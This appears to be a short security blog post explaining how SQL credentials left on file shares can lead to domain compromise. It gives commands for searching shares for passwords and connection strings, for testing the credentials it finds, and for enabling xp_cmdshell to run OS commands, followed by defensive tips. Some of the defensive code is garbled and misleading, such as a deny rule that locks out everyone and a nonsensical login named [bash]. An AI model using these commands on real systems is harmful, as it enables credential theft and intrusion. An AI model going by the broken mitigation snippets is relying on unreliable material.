How SQL Credentials on File Shares Leads to Domain Compromise

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SQL credentials stored carelessly on file shares are a goldmine for attackers, often leading to full domain compromise. This article explores how to identify, exploit, and defend against this critical vulnerability.

You Should Know:

1. Identifying SQL Credentials on File Shares

Attackers often search for files containing:

– `.config` (web.config, app.config)
– `.txt` (credentials.txt, passwords.txt)
– `.sql` (database backup scripts)
– `.xml` (configuration files)

Commands to Search for Credentials (Windows/Linux)

 Windows: Search for files containing "password" or "connectionString" 
Get-ChildItem -Path "\fileshare\path" -Recurse -Force -ErrorAction SilentlyContinue | 
Select-String -Pattern "password|connectionString|uid=|pwd="

Linux (SMB-mounted share): 
grep -r -i "password|connectionString|uid=|pwd=" /mnt/fileshare/

2. Validating SQL Credentials

Once credentials are found, test them using:

 Test SQL Server connection 
sqlcmd -S <ServerName> -U <Username> -P <Password> -Q "SELECT @@version"

With PowerShell (SQL Module): 
Invoke-Sqlcmd -ServerInstance <ServerName> -Username <Username> -Password <Password> -Query "SELECT name FROM sys.databases"

3. Exploiting Weak SQL Permissions

If the SQL account has `sysadmin` privileges, attackers can:
– Execute OS commands via `xp_cmdshell`
– Dump hashes via `PowerUpSQL`
– Move laterally using linked servers

 Enable xp_cmdshell if disabled 
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; 
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Execute OS command 
EXEC xp_cmdshell 'whoami';

4. Defensive Measures

  • Restrict File Share Permissions:
    icacls "\fileshare\sensitive" /deny "Everyone:(OI)(CI)(F)"
  • Use SQL Least Privilege:
    CREATE LOGIN [bash] WITH PASSWORD = 'StrongP@ssw0rd!'; 
GRANT SELECT, INSERT ON [bash] TO [bash];
  • Audit File Shares Regularly:
    Get-SmbShare | Where-Object { $_.Path -like "sql" } | Format-Table

What Undercode Say

Storing SQL credentials in plaintext on file shares is a severe security misstep. Attackers leverage these weaknesses to escalate privileges, move laterally, and compromise entire domains. Defenders must enforce strict access controls, audit file shares, and implement credential management solutions like Azure Key Vault or HashiCorp Vault.

Expected Output:

  • Attack Path:
    File Share → SQL Credentials → `sysadmin` Access → Domain Compromise
  • Mitigation:
  • Encrypt credentials
  • Restrict SMB/NFS shares
  • Monitor for suspicious SQL logins

Prediction

As hybrid cloud environments grow, misconfigured file shares and exposed credentials will remain a top attack vector. Automated credential scanning tools will become essential for both attackers and defenders.

Relevant URL: Behind The Hack – SQL Credentials Exploitation

IT/Security Reporter URL:

Reported By: Spenceralessi More – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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